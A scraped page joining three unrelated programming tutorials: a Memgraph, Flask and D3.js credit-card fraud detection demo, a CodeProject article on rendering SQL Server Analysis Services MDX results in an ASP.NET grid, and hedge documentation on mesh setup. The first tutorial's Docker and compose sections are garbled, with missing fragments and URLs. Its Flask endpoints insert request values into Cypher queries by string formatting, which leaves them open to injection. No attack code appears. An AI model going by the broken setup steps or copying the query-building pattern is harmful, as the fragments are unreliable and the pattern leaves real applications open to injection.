You are probably rolling your eyes while reading this, but don't mock the Hello World example! Let's compile and run your server to see if everything works as expected. Open a terminal, position yourself in the root directory and execute the following two commands:
export FLASK_APP=card_fraud.py export FLASK_ENV=development
This way, you have defined the entry point of your app and set the environment to
development. This will enable development features like automatic code reloading. Don't forget to change this to
production when you're ready to deploy your app. To run the server, execute:
flask run --host 0.0.0.0
You should see a message similar to the following, indicating that your server is up and running:
* Serving Flask app "card_fraud" * Running on
Dockerizing the Application
In the root directory of the project create two files,
Dockerfile and
docker-compose.yml. At the beginning of the
Dockerfile, you specify the parent image and instruct the container to install CMake, mgclient, and pymgclient. CMake and mgclient are necessary to install pymgclient, the Python driver for Memgraph DB.
You don’t have to focus too much on this part, just copy the code to your
Dockerfile: pymgclient RUN git clone /pymgclient && \ cd pymgclient && \ python3 setup.py build && \ python3 setup.py install # Install packages COPY requirements.txt ./ RUN pip3 install -r requirements.txt COPY card_fraud.py /app/card_fraud.py WORKDIR /app ENV FLASK_ENV=development ENV LC_ALL=C.UTF-8 ENV LANG=C.UTF-8 ENTRYPOINT ["python3", "card_fraud.py"]
If you are not familiar with Docker, do yourself a favor and take look at this: Getting started with Docker.
Next, this project, you'll" card_fraud: specifically, your service
card_fraud
need the database to start before the web application.
The
build key allows us to tell Compose where to find the build instructions as well as the files and/or folders used during the build process. By using the
volumes key, you bypass the need to constantly restart your image to load new changes to it from the host machine.
Congratulations, you now have a dockerized app! This approach is great for development because it enables you to run your project on completely different operating systems and environments without having to worry about compatibility issues.
To make sure we are on the same page, your project structure should look like this:
card_fraud ├── card_fraud.py ├── docker-compose.yml ├── Dockerfile └── requirements.txt
Let’s start your app to make sure you don’t have any errors. In the project root directory execute:
docker-compose build
The first build will take some time because Docker has to download and install a lot of dependencies. After it finishes run:
docker-compose up
The URL of your web application is. You should see the message Hello World which means that the app is up and running correctly.
Defining the Bussines Logic
At this point, you have a basic web server and a database instance. It's time to add some useful functionalities to your app. To communicate with the database, your app needs some kind of OGM - Object Graph Mapping system. You can just reuse this one: custom OGM. Add the
database directory with all of its contents to the root directory of your project.
Also, delete the contents of
card_fraud.py because you are starting from scratch.
Let's fetch the environment variables you defined in the
docker-compose.yml file by adding the following code in
card_fraud.py:
import os MG_HOST = os.getenv('MG_HOST', '127.0.0.1') MG_PORT = int(os.getenv('MG_PORT', '7687')) MG_USERNAME = os.getenv('MG_USERNAME', '') MG_PASSWORD = os.getenv('MG_PASSWORD', '') MG_ENCRYPTED = os.getenv('MG_ENCRYPT', 'false').lower() == 'true'
No web application is complete without logging, so let's at least add the bare minimum:
import logging import time log = logging.getLogger(__name__) def init_log(): logging.basicConfig(level=logging.INFO) log.info("Logging enabled") logging.getLogger("werkzeug").setLevel(logging.WARNING) init_log()
It would also be convenient to add an input argument parser so you can run the app with different configurations without hardcoding them. Add the following import and function:
from argparse import ArgumentParser def parse_args(): ''' Parse command-line arguments. ''' parser = ArgumentParser(description=__doc__) parser.add_argument("--app-host", default="0.0.0.0", help="Allowed host addresses.") parser.add_argument("--app-port", default=5000, type=int, help="App port.") parser.add_argument("--template-folder", default="public/template", help="The folder with flask templates.") parser.add_argument("--static-folder", default="public", help="The folder with flask static files.") parser.add_argument("--debug", default=True, action="store_true", help="Run web server in debug mode") parser.add_argument('--clean-on-start', action='store_true', help='Should the DB be emptied on script start') print(__doc__) return parser.parse_args() args = parse_args()
Now, you can connect to your database and create an instance of a Flask server by adding the following code:
from flask import Flask, Response, request, render_template from database import Memgraph db = Memgraph(host=MG_HOST, port=MG_PORT, username=MG_USERNAME, password=MG_PASSWORD, encrypted=MG_ENCRYPTED) app = Flask(__name__, template_folder=args.template_folder, static_folder=args.static_folder, static_url_path='')
Finally, you come to the business logic and all the interesting functions. Get ready because there are many things you need to implement. If you'd rather just copy them and read their descriptions later, that's fine too. You can find the complete
card_fraud.py script here and can continue the tutorial on this section.
Clearing the Database
You need to start with an empty database so let's implement a function to drop all the existing data from it:
def clear_db(): """Clear the database.""" db.execute_query("MATCH (n) DETACH DELETE n") log.info("Database cleared")
Adding Initial Cards and POS Devices
There is a fixed number of initial cards and POS devices that need to be added to the database at the beginning.
def init_data(card_count, pos_count): """Populate the database with initial Card and POS device entries.""" log.info("Initializing {} cards and {} POS devices".format( card_count, pos_count)) start_time = time.time() db.execute_query("UNWIND range(0, {} - 1) AS id " "CREATE (:Card {{id: id, compromised: false}})".format( card_count)) db.execute_query("UNWIND range(0, {} - 1) AS id " "CREATE (:Pos {{id: id, compromised: false}})".format( pos_count)) log.info("Initialized data in %.2f sec", time.time() - start_time)
Adding a Single Compromised POS Device
You need the option of changing the property
compromised of a POS device to
true given that all of them are initialized as
false at the beginning.
def compromise_pos(pos_id): """Mark a POS device as compromised.""" db.execute_query( "MATCH (p:Pos {{id: {}}}) SET p.compromised = true".format(pos_id)) log.info("Point of sale %d is compromised", pos_id)
Adding Multiple Random Compromised POS Devices
You can also compromise a set number of randomly selected POS devices at once.
from random import sample def compromise_pos_devices(pos_count, fraud_count): """Compromise a number of random POS devices.""" log.info("Compromising {} out of {} POS devices".format( fraud_count, pos_count)) start_time = time.time() compromised_devices = sample(range(pos_count), fraud_count) for pos_id in compromised_devices: compromise_pos(pos_id) log.info("Compromisation took %.2f sec", time.time() - start_time)
Adding Credit Card Transactions
This is where the main analysis for fraud detection happens. If the POS device is compromised, then the card in the transaction gets compromised too. If the card is compromised, there is a 0.1% chance the transaction is fraudulent and detected (regardless of the POS device).
from random import randint def pump_transactions(card_count, pos_count, tx_count, report_pct): """Create transactions. If the POS device is compromised, then the card in the transaction gets compromised too. If the card is compromised, there is a 0.1% chance the The transaction is fraudulent and detected (regardless of the POS device).""" log.info("Creating {} transactions".format(tx_count)) start_time = time.time() query = ("MATCH (c:Card {{id: {}}}), (p:Pos {{id: {}}}) " "CREATE (t:Transaction " "{{id: {}, fraudReported: c.compromised AND (rand() < %f)}}) " "CREATE (c)<-[:Using]-(t)-[:At]->(p) " "SET c.compromised = p.compromised" % report_pct) def rint(max): return randint(0, max - 1) for i in range(tx_count): db.execute_query(query.format(rint(card_count), rint(pos_count), i)) duration = time.time() - start_time log.info("Created %d transactions in %.2f seconds", tx_count, duration)
Resolving Transactions and Cards on a POS Device
You also need to have the functionality to resolve suspected fraud cases. This means marking all the connected components of a POS device as not compromised if they are cards and not fraudulent if they are transactions. This function is triggered by a POST request to the URL
/resolve-pos. The request body contains the variable
pos which specifies the
id of the POS device.
import json @app.route('/resolve-pos', methods=['POST']) def resolve_pos(): """Resolve a POS device and card as not compromised.""" data = request.get_json(silent=True) start_time = time.time() db.execute_query("MATCH (p:Pos {{id: {}}}) " "SET p.compromised = false " "WITH p MATCH (p)--(t:Transaction)--(c:Card) " "SET t.fraudReported = false, c.compromised = false".format(data['pos'])) duration = time.time() - start_time log.info("Compromised Point of sale %s has been resolved in %.2f sec", data['pos'], duration) response = {"duration": duration} return Response( json.dumps(response), status=201, mimetype='application/json')
Fetching all Compromised POS Devices
This function searches the database for all POS devices that have more than one fraudulent transaction connected to them. It's is triggered by a GET request to the URL
/get-compromised-pos.
@app.route('/get-compromised-pos', methods=['GET']) def get_compromised_pos(): """Get compromised POS devices.""" log.info("Getting compromised Point Of Service IDs") start_time = time.time() data = db.execute_and_fetch("MATCH (t:Transaction {fraudReported: true})-[:Using]->(:Card)" "<-[:Using]-(:Transaction)-[:At]->(p:Pos) " "WITH p.id as pos, count(t) as connected_frauds " "WHERE connected_frauds > 1 " "RETURN pos, connected_frauds ORDER BY connected_frauds DESC") data = list(data) log.info("Found %d POS with more then one fraud in %.2f sec", len(data), time.time() - start_time) return json.dumps(data)
Fetching all Fraudulent Transaction
With a very simple query, you can return all the transactions that are marked as fraudulent. The function is triggered by a GET request to the URL
/get-fraudulent-transactions.
@app.route('/get-fraudulent-transactions', methods=['GET']) def get_fraudulent_transactions(): """Get fraudulent transactions.""" log.info("Getting fraudulent transactions") start_time = time.time() data = db.execute_and_fetch( "MATCH (t:Transaction {fraudReported: true}) RETURN t.id as id") data = list(data) duration = time.time() - start_time log.info("Found %d fraudulent transactions in %.2f", len(data), duration) response = {"duration": duration, "fraudulent_txs": data} return Response( json.dumps(response), status=201, mimetype='application/json')
Generating Demo Data
Your app will have an option to generate a specified number of cards, POS devices, and transactions, so you need a function that will be responsible for creating them and marking a number of them as compromised/fraudulent. It's triggered by a POST request to the URL
/generate-data. The request body contains the variables:
pos: specifies the number of the POS device.
frauds: specifies the number of compromised POS devices.
cards: specifies the number of the cards.
transactions: specifies the number of the transactions.
reports: specifies the number of reported transactions.
@app.route('/generate-data', methods=['POST']) def generate_data(): """Initialize the database.""" data = request.get_json(silent=True) if data['pos'] < data['frauds']: return Response( json.dumps( {'error': "There can't be more frauds than devices"}), status=418, mimetype='application/json') start_time = time.time() clear_db() init_data(data['cards'], data['pos']) compromise_pos_devices(data['pos'], data['frauds']) pump_transactions(data['cards'], data['pos'], data['transactions'], data['reports']) duration = time.time() - start_time response = {"duration": duration} return Response( json.dumps(response), status=201, mimetype='application/json')
Fetching POS device Connected Components
This function finds all the connected components of a compromised POS device and returns them to the client. It's triggered by a POST request to the URL
/pos-graph.
@app.route('/pos-graph', methods=['POST']) def host(): log.info("Client fetching POS connected components") request_data = request.get_json(silent=True) data = db.execute_and_fetch("MATCH (p1:Pos)<-[:At]-(t1:Transaction {{fraudReported: true}})-[:Using] " "->(c:Card)<-[:Using]-(t2:Transaction)-[:At]->(p2:Pos {{id: {}}})" "RETURN p1, t1, c, t2, p2".format(request_data['pos'])) data = list(data) output = [] for item in data: p1 = item['p1'].properties t1 = item['t1'].properties c = item['c'].properties t2 = item['t2'].properties p2 = item['p2'].properties print(p2) output.append({'p1': p1, 't1': t1, 'c': c, 't2': t2, 'p2': p2}) return Response( json.dumps(output), status=200, mimetype='application/json')
Rendering Views
These functions will return the requested view. More on them in the Client-side Logic section. They are triggered by GET requests to the URLs
/ and
/graph.
@app.route('/', methods=['GET']) def index(): return render_template('index.html') @app.route('/graph', methods=['GET']) def graph(): return render_template('graph.html', pos=request.args.get('pos'), frauds=request.args.get('frauds'))
Creating the Main Function
The function
main() has three jobs:
- Clear the database if so specified in the input arguments.
- Create indexes for the nodes
Card,
Posand
Transaction. You can learn more about indexing here.
- Start the Flask server with the specified arguments.
def main(): if args.clean_on_start: clear_db() db.execute_query("CREATE INDEX ON :Card(id)") db.execute_query("CREATE INDEX ON :Pos(id)") db.execute_query("CREATE INDEX ON :Transaction(fraudReported)") app.run(host=args.app_host, port=args.app_port, debug=args.debug) if __name__ == "__main__": main()
Adding the Client-Side Logic
Now, that your server is ready, let's create the client-side logic for your web application.
I'm sure that you're not here for a front-end tutorial and therefore I leave it up to you to experiment and get to know the individual components. Just copy this public directory with all of its contents to the root directory of your project and add the following code to the
Dockerfile under the line
RUN pip3 install -r requirements.txt:
COPY public /app/public
Just to get you started, here is a basic summary of the main components in the
public directory:
img: this directory contains images and animations.
js: this directory contains the JavaScript scripts.
graph.js: this script handles the
graph.htmlpage. It fetches all the connected components of a POS device, renders them in the form of a graph, and can resolve a POS device and all of its connected components as not fraudulent/compromised.
index.js: this script handles the
index.htmlpage. It initializes all of the necessary components, tells the server to generate the initial data, and fetches the fraudulent transactions.
render.js: this script handles the graph rendering on the
graph.htmlpage using the D3.js library.
libs: this directory contains all the locally stored libraries your application uses. For the purpose of this tutorial we only included the
memgraph-designlibrary to style your pages.
template: this directory contains the HTML pages.
graph.html: this is the page that renders a graph of a compromised POS device with all of its connected components.
index.html: this is the main page of the application. In it, you can generate new demo data and retrieve the compromised POS devices.
Starting the App
It's time to test your app. First, you need to build the Docker image by executing:
docker-compose build
Now, you can run the app with the following command:
docker-compose up
The app is available on the address 0.0.0.0:5000.
Hopefully, you see a screen similar to the image below and are smiling because you just finished your graph-powered credit card fraud detection web application!
Conclusion
Relational database-management systems model data as a set of predetermined structures. Complex joins and self-joins are necessary when the dataset becomes too inter-related. Modern datasets require technically complex queries which are often very inefficient in real-time scenarios.
A graph database is the perfect solution for such complex and large networks. From the underlying storage capabilities to the built-in graph algorithms, every aspect of a graph database is fine-tuned to deliver the best experience and performance when dealing with such problems.
In this, you built a graph-powered credit card fraud detection application from scratch using Memgraph, Flask, and D3.js. You got a good overview of the end-to-end development process using a graph database, and hopefully some ideas for your own projects. We can't wait to see what other graph applications you come up with!
As mentioned at the beginning of this tutorial, feel free to ask us any questions about this tutorial or Memgraph in general on StackOverflow with the tag
memgraphdb or on our official forum.
Happy coding!
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This article is targeted at all who have worked on ASP.NET web applications, Microsoft SQL Server Analysis Services, and MDX in some manner, and wish to add the power of analytics to their web applications.
The concept of Data Warehousing is not new anymore. With the rise in the scale, size, and complexity of businesses in today's world, the need for business analytics has become almost inevitable. This has lead to the growth of a breed of tools and technologies termed as "Business Intelligence" (BI). Microsoft SQL Server Analysis Services is one such product from Microsoft that helps in building business analytic applications. The querying language MDX is a very powerful means of fetching multidimensional data from the Microsoft SQL Server Analysis Services Cube.
However, the challenge that remains here is how to present this analytical data to business users so that it can aid them in their decision making process. There is an abundance of reporting tools and products available in the market today that can help you achieve this. Microsoft SQL Server Reporting Services is one example of such a tool.
This article describes yet another means of presenting analytical data to the user. It explains how to execute MDX query using Microsoft ADOMD.NET client components to fetch multidimensional data from the Cube and present it to the user in the form of a grid.
Even though the examples shown here are limited to presentation of analytical data, the functionality can be extended to do a lot more things such as Drill Down, Drill Up, Sorting, Filtering, etc., depending on the business needs. You can even create reports and graphs with the data.
Fair knowledge of ASP.NET, Microsoft SQL Server Analysis Services, and MDX is required to work with the example in the article.
The following software will be needed to run the source code in the article:
I have used the AdventureWorks sample database from Microsoft to execute the example MDX queries. You can use your own database to run the example. If you wish to use the AdventureWorks sample database, this link will guide you on how to install it.
As we will be using ADOMD.NET client components to fetch data from the Microsoft SQL Server Analysis Services Cube, it is important to know the ADOMD.NET client object model.
The main three objects that we are going to use in our example are AdomdConnection, AdomdCommand, and Cellset. The AdomdConnection and AdomdCommand objects are similar to their counterparts in ADODB.NET. We will be using the ExecuteCellSet method of AdomdCommand to retrieve the CellSet.
AdomdConnection
AdomdCommand
Cellset
ExecuteCellSet
CellSet
Here is the partial object model of CellSet showing only those properties that are of interest in our example.
The CellSet contains the results of MDX query executions. As MDX allows fetching dimension members on different Axis, the CellSet contains a collection of Axis. Our example restricts the user to querying two Axis:
Axis
Axis contains a collection of Positions. Position represents a tuple on the Axis, and in turn contains one or more Members. The Cells collection contains a cell for each combination of Positions on all Axis.
Position
Member
Cells
Here is how you access member details from a CellSet:
CellSet.Axes[n].Positions[n1].Members[n2].PropertyName;
Here:
n
n1
n2
Here is how you access cell data from a CellSet:
CellSet[n, n1, n2,…nn].PropertyName
Here n, n1, n2 … nn are axis co-ordinates and depend on the number of axis in the CellSet.
You can find more information on the ADOMD.NET client object model from MSDN.
To show the output in the form of a grid, we will use the ASP.NET Table server object.
Table
You can simply unzip the example web application code provided here to any folder on your local drive and create a virtual directory in IIS to point to the folder containing the code. You can now open the website from Visual Studio .NET 2005 IDE.
Since we will be using Windows authentication to connect to Microsoft Analysis Services 2005, you will have to modify the web.config file to impersonate a user having access to the Analysis Services.
<identity impersonate ="true" userName="user" password="password"/>
Once done, you can browse the newly created website, and it should look like this:
As I mentioned earlier, I will be using the AdventureWorks database to execute the MDX queries. You can modify the connection string and the default MDX query as needed on the page while running it, or in the Page_Load method in the code-behind.
Page_Load
protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
//setting default connection string value
txtConnStr.Text = "Your Connection String";
txtMDX.Text = " Your default MDX query";
}
//clearing any error message
lblErr.Text = "";
}
Click the “Go” button, and you should see the output grid like this:
Let’s go a bit deeper and look at the source code of our web application. First, we will look at the markup of our web-form.
<form id="form1" runat="server">
<table width="800" border="0">
<tr>
<td>Connection String:</td>
<td>
<asp:TextBox
</asp:TextBox>
</td>
</tr>
<tr>
<td>MDX</td>
<td><asp:TextBox </asp:TextBox></td>
</tr>
<tr>
<td></td>
<td>
<asp:Button
</td>
</tr>
<tr>
<td colspan="2">
<asp:Label
</asp:Label>
</td>
</tr>
</table>
<asp:Panel
</asp:Panel>
</form>
The web form has two textboxes, txtConnStr and txtMDX, to accept the connection string and the MDX query. It has a button btnGo, on the click of which we execute the MDX and create the grid. An event handler btnGo_Click is tied to the OnClick event of the button. A label lblErr is used to display any errors. Finally, gridPanel is the panel within which we are going to create the output grid.
txtConnStr
txtMDX
btnGo
btnGo_Click
OnClick
lblErr
gridPanel
Now, let’s examine the code-behind of our web-form. Since we are going to use ADOMD.NET client components, we have added a reference to it in our web application. This can be done using the menu – Website > Add Reference.
The using directive is added for Microsoft.AnalysisServices.AdomdClient so we can access objects without having to use the fully qualified name.
using
Microsoft.AnalysisServices.AdomdClient
using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
//Following is included to use ADOMD library
using Microsoft.AnalysisServices.AdomdClient;
Now, let’s see the code for the btnGo_Click event handler which gets called when the user clicks the button.
protected void btnGo_Click(object sender, EventArgs e)
{
try
{
CellSet cst = GetCellset();
BuildGrid(cst);
}
catch (System.Exception ex)
{
lblErr.Text = ex.Message;
}
}
For ease of understanding, I have created two methods. GetCellSet executes the MDX query and returns a CellSet object, and BuildGrid accepts a CellSet and creates the grid. The event handler btnGo_Click calls these two methods in a try…catch block. If any error occurs, it displays it in the label lblErr.
GetCellSet
BuildGrid
try…catch
Here is the MDX query that we have used in our example. Note, we have a state-province on the column axis and a cross-join of all months in 2003 with two measures Internet Sales Amount and Internet Order Quantity on the row axis.
[Customer].[Customer Geography].[State-Province].Members on columns,
Descendants([Date].[Calendar].[Calendar Year].&[2003],[Date].[Calendar].[Month])*
{[Measures].[Internet Sales Amount],[Measures].[Internet Order Quantity]} on rows
from [adventure works]
The GetCellSet method executes the MDX query and returns a disconnected CellSet object. It reads the connection string and the MDX query from the textboxes and establishes a connection with Microsoft Analysis Services using the AdomdConnection object. It then executes the MDX using the ExecuteCellSet method of the AdomdCommand object. Before returning the CellSet, the connection is closed.
private CellSet GetCellset()
{
//Lets store the connection string and MDX query to local variables
string strConn = txtConnStr.Text;
string strMDX = txtMDX.Text;
//create and open adomd connection with connection string
AdomdConnection conn = new AdomdConnection(strConn);
conn.Open();
//create adomd command using connection and MDX query
AdomdCommand cmd = new AdomdCommand(strMDX, conn);
//The ExecuteCellSet method of adomd command will
//execute the MDX query and return CellSet object
CellSet cst = cmd.ExecuteCellSet();
//close connection
conn.Close();
//return cellset
return cst;
}
The BuildGrid method accepts a CellSet (parameter name cst) and creates the output grid within the gridPanel panel that we have added to our web-form.
cst
It checks the number of axis in the CellSet and restricts it to two. Also, it checks if there are no positions (tuples) returned on any axis, and it throws an error.
private void BuildGrid(CellSet cst)
{
//check if any axes were returned else throw error.
int axes_count = cst.Axes.Count;
if (axes_count == 0)
throw new Exception("No data returned for the selection");
//if axes count is not 2
if (axes_count != 2)
throw new Exception("The sample code support only queries with two axes");
//if no position on either row or column throw error
if (!(cst.Axes[0].Positions.Count > 0) && !(cst.Axes[1].Positions.Count > 0))
throw new Exception("No data returned for the selection");
It counts the number of dimensions (or should I say hierarchy) on each axis. In the case of the MDX that we are running, it would be 1 (state-province) for column and 2 (month and measure) for rows.
//Number of dimensions on the column
col_dim_count = cst.Axes[0].Positions[0].Members.Count;
//Number of dimensions on the row
if (cst.Axes[1].Positions[0].Members.Count > 0)
row_dim_count = cst.Axes[1].Positions[0].Members.Count;
The total rows that we will need on the output grid would be the number of dimensions on the columns plus the number of positions on the rows. This is because we want to show the column headers for each dimension in the column axis. For columns, this would be the other way round.
//Total rows and columns
//number of rows + rows for column headers
row_count = cst.Axes[1].Positions.Count + col_dim_count;
//number of columns + columns for row headers
col_count = cst.Axes[0].Positions.Count + row_dim_count;
Now that we know the number of rows and columns on our grid, let’s create it. First, we clear any content under the panel gridPanel and create a new Table control and add it to the gridPanel.
//lets clear any controls under the grid panel
gridPanel.Controls.Clear();
//Add new server side table control to gridPanel
Table tblGrid = new Table();
tblGrid.CellSpacing = 0;
tblGrid.Width = col_count * 100;
gridPanel.Controls.Add(tblGrid);
Next, we create nested loops for adding rows and columns (rather, cells for each row). To show the headers and data, we will use a Label control.
Label
//We will use label control to add text to the table cell
Label lbl;
for (cur_row = 0; cur_row < row_count; cur_row++)
{
//add new row to table
TableRow tr = new TableRow();
tblGrid.Rows.Add(tr);
for (cur_col = 0; cur_col < col_count; cur_col++)
{
//create new cell and instance of label
TableCell td = new TableCell();
lbl = new Label();
Based on the current row (cur_row) and current column (cur_col) coordinates, we decide which part (or cell) of the grid we are about to create.
cur_row
cur_col
If current row (cur_row) is less than (<) column dimension count (col_dim_count), it means we are creating a row containing column headers.
col_dim_count
While writing the column header row, if the current column (cur_col) is less than (<) the row dimension count (row_dim_count), it means we are creating empty cells that are at the top-left of the grid. In this case, we create a label control with a blank space. Otherwise, if the current column (cur_col) is not less than (<) the row dimension count (row_dim_count), it means we are creating a column header cell. In this case, we create a Label control with column member caption.
row_dim_count
//check if we are writing to a ROW having column header
if (cur_row < col_dim_count)
{
//check if we are writing to a cell having row header
if (cur_col < row_dim_count)
{
//this should be empty cell -- it's on top left of the grid.
lbl.Text = " ";
td.CssClass = "titleAllLockedCell";
//this locks the cell so it doesn't scroll upwards nor leftwards
}
else
{
//this is a column header cell -- use member caption for header
lbl.Text =
cst.Axes[0].Positions[cur_col - row_dim_count].Members[cur_row].Caption;
td.CssClass = "titleTopLockedCell";
// this lockeders the cell so it doesn't scroll upwards
}
}
Similarly, when the current row (cur_row) is more than (>) the column dimension count (col_dim_count), it means we are creating a row containing data.
While writing the data row, if the current column (cur_col) is less than (<) the row dimension count (row_dim_count), it means we are creating a row header cell of the grid. In this case, we create a Label control with a row member caption. Otherwise, if the current column (cur_col) is not less than (<) the row dimension count (row_dim_count), it means we are creating a value cell. In this case, we create a Label control with data.
We turn the wrapping off for data row cells, so it doesn’t wrap and look weird.
else
{
//We are here.. so we are writing a row having data (not column headers)
//check if we are writing to a cell having row header
if (cur_col < row_dim_count)
{
//this is a row header cell -- use member caption for header
lbl.Text =
cst.Axes[1].Positions[cur_row - col_dim_count].Members[cur_col].Caption;
td.CssClass = "titleLeftLockedCell";
// this lockeders the cell so it doesn't scroll leftwards
}
else
{
//this is data cell.. so we write the Formatted value of the cell.
lbl.Text = cst[cur_col - row_dim_count,
cur_row - col_dim_count].FormattedValue + " ";
td.CssClass = "valueCell";
//this right aligns the values in the column
}
//turn the wrapping off for row header and data cells.
td.Wrap = false;
}
Finally, we add the Label control to the table cell and add the cell to the row.
//add cell to the row.
td.Controls.Add(lbl);
tr.Cells.Add(td);
}
}
}
You must have noticed that the grid that we created has row and column headers frozen, something similar to Excel’s freeze pane feature.
This works because of the styles that are applied to the different types of cells. We achieved this with four CSS properties: top, left, position, and z-index. You can look at the styles below. I have removed other CSS properties, so comparing them is easier.
top
left
position
z-index
Column header cells use the titleTopLockedCell style. Notice that "left" is not specified here.
titleTopLockedCell
.titleTopLockedCell
<span class="code-none">{
top<span class="code-none">: expression(parentNode.parentNode.parentNode.parentNode.scrollTop)<span class="code-none">;
position<span class="code-none">:relative<span class="code-none">;
z-index<span class="code-none">: 10<span class="code-none">;
<span class="code-none">}</span></span></span></span></span></span></span></span>
Row header cells use the titleLeftLockedCell style. Notice that “top” is not specified here.
titleLeftLockedCell
.titleLeftLockedCell
<span class="code-none">{
left<span class="code-none">: expression(parentNode.parentNode.parentNode.parentNode.scrollLeft)<span class="code-none">;
position<span class="code-none">:relative<span class="code-none">;
z-index<span class="code-none">: 10<span class="code-none">;
<span class="code-none">}</span></span></span></span></span></span></span></span>
Empty cells (top-left of grid) use the titleAllLockedCell style. Notice that both “left” and “top” are specified here.
titleAllLockedCell
.titleAllLockedCell
<span class="code-none">{
top<span class="code-none">: expression(parentNode.parentNode.parentNode.parentNode.scrollTop)<span class="code-none">;
left<span class="code-none">: expression(parentNode.parentNode.parentNode.parentNode.scrollLeft)<span class="code-none">;
position<span class="code-none">:relative<span class="code-none">;
z-index<span class="code-none">: 20<span class="code-none">;
<span class="code-none">}</span></span></span></span></span></span></span></span></span></span>
There are various options available to present business analytics data. ADOMD.NET client components help retrieve data easily from Microsoft Analysis Services, and it can be presented in any form such as report, UI, graph etc. This article is just a step towards explaining how you can use the power of ADOMD.NET and MDX to create your own UI, and trust me, the possibilities are endless.
If you liked or didn’t like this article, or if you have any feedback on the article, please feel free to email me. I would love to hear your valuable opinions.
Added. | http://www.codeproject.com/Articles/28290/Microsoft-Analysis-Services-2005-Displaying-a-grid?fid=1524839&df=90&mpp=10&sort=Position&spc=None&select=3783185&tid=3982062 | CC-MAIN-2014-23 | refinedweb | 2,746 | 56.45 |
Ini-File Framework
Contents
- Ini-File Framework
- Building the Mesh
- Discretization of the Mesh
- Visualization Output Setting
- Operator Setup
- Initial State
- Timestep Loop
To run hedge you need to make some fundamental setting like:
- Mesh (1D, 2D, 3D, circle, cylinder, square, cube, etc.)
- Order of discretization
- Boundary Conditions (Dirichlet, Neuman, Inflow, Outflow, etc.)
- Timestepping method (Runge-Kutta, Adams-Bashforth, etc.)
- Total Time
- etc.
All these initial settings will always be done in the same framework. The following sections will give short description of every step in the setup of a computation.
Building the Mesh
The mesh in hedge is provided by the module hedge.mesh with a set of several simple mesh geometries for all kinds of applications in one, two and three dimensions. You can find them in hedge/src/python/mesh.py in the source folder of hedge. To create a 2D disk you have to type:
from hedge.mesh import make_disk_mesh mesh = make_disk_mesh(r=0.5,faces=100,max_area=0.008)
r is the disk's radius, faces is the number of Faces used to shape the disk and max_area is the maximum area of one element. By changing the number of faces you can decide how disk-like the disk shall be. Three faces will approximate the disk by a triangle. Four faces will create a rectangle. More faces will make the shape of the disk look more like a circle of course. With the max_area you can trigger how many elements will be approximating the disk and how detailed your results will be. A small max_area number will create many elements.
The object mesh now provides all geometrical information about the specified disk. It serves as a base for further discretization.
Example (simple rectangular mesh)
A very basic mesh which will allow us to show some features provided by hedge is the following 2D rectangle:
from hedge.mesh import make_rect_mesh mesh = make_rect_mesh(a=(-0.5,-0.5),b=(0.5,0.5),max_area=0.8)
You will get a rectangle approximated by two triangles.
Discretization of the Mesh
As nodal DG-Framework needs a different amount of interpolation points - nodes - per element w.r.t. the spatial order, the mesh needs to be discretized. This can be done for a certain order by the Discretization module.
from hedge.backends.jit import Discretization discr = Discretization(mesh, order=4)
The object discr provides a wide range of methods to gain information about the mesh with the specific discretization. It allows to build functions w.r.t. to the coordinates of the mesh. The following method
discr.interpolate_volume_function(f_u)
will interpolate the function f_u(x,element) - with x[0:dim] - on the volume vector (x,y) of all nodes in the mesh. The result will be a vector (-field) with the values of f_u calculated from every node in the mesh.
Another important feature provided by the object discr is the possibility to evaluate a function f_bc only on boundary nodes of the mesh. The method
discr.interpolate_boundary_function(f_bc)
will give a vector of values for each node on the boundary of the mesh.
Besides the two mentioned methods discr provides a lot of other methods which are important for building the operator or to implement the boundary conditions. The module where all methods are defined can be found in discretization.py.
Example (Discretizing to 3rd order)
Discretizing the before generated mesh by:
from hedge.backends.jit import Discretization discr = Discretization(mesh, order=3)
will give you a fine mesh with 20 nodes.
Example (Vertices-Coordinates)
After discretizing the mesh you might want to look at the coordinates of the nodes. This can be done by
discr.nodes
which will give you a numpy array of the coordinates.
As a slower alternative you could also use the interpolate_volume_function to create a vector field of the coordinates:
from hedge.tools import join_fields coords = join_fields(discr.interpolate_volume_function(lambda x,el : x[0]), discr.interpolate_volume_function(lambda x,el : x[1]))
You will receive a vector-field of two vectors showing each the x and y component of a node.
[ [-0.16666667 -0.2236068 0.2236068 0.5 0.2236068 -0.2236068 -0.5 -0.5 -0.5 -0.5 0.16666667 0.2236068 -0.2236068 -0.5 -0.2236068 0.2236068 0.5 0.5 0.5 0.5 ] [-0.16666667 0.2236068 -0.2236068 -0.5 -0.5 -0.5 -0.5 0.2236068 -0.2236068 0.5 0.16666667 -0.2236068 0.2236068 0.5 0.5 0.5 0.5 -0.2236068 0.2236068 -0.5 ]]
As the dimensions might vary you might write the statement in a more general way using a for loop:
coords = join_fields([discr.interpolate_volume_function(lambda x,el : x[i]) for i in range(discr.dimensions)])
The result will be the same.
Example (Source-Function)
The wave-min.py example uses source function source_u to provide a state u.
def source_u(x, el): return exp(-numpy.dot(x, x)*128)
To get the state from the source function at every point of the mesh you have to type:
source_u_vec = discr.interpolate_volume_function(source_u)
You will receive a vector of values showing the result of the source_u function having been evaluated at every node of the mesh.
[]
Example (Boundary-Function)
You might want to define a certain state on the boundary nodes of the mesh defined by a function
def bound_u(x,el): if x[0] > 0: return 1 else: return 0
which sets the state u=0 if the the x-coordinate of the node is <= 0 and u=1 if x > 0. To evaluate this function only on the boundary nodes you can use the interpolate_boundary_function method of the discr object.
bound_u_vec = discr.interpolate_boundary_function(bound_u)
You will receive a vector showing the result only for the boundary nodes
[ 1. 1. 1. 1. 0. 0. 1. 1. 0. 0. 0. 0. 1. 1. 0. 0.]
which are less than all nodes of the mesh. In this example there are 16 boundary nodes. For meshes consisting of more than two elements the difference of the magnitude between boundary nodes and all nodes will be much bigger of course.
Visualization Output Setting
In order to provide an output of the results you can choose between '*.silo' or '*.vtk' output file formats:
from hedge.visualization import VtkVisualizer vis = VtkVisualizer(discr, None, "fld")
or
from hedge.visualization import SiloVisualizer vis = SiloVisualizer(discr, None)
Operator Setup
At this point you should know which kind of PDE you want to solve. The operator provides the RHS of the equation which goes into the timestepper. A selection of different operators can be found in pde.py in the source folder. Depending on the problem you might have several inputs for the operator. At least some of the most common inputs might be:
- Space-Dimensions (1D, 2D, 3D)
- Source-Functions
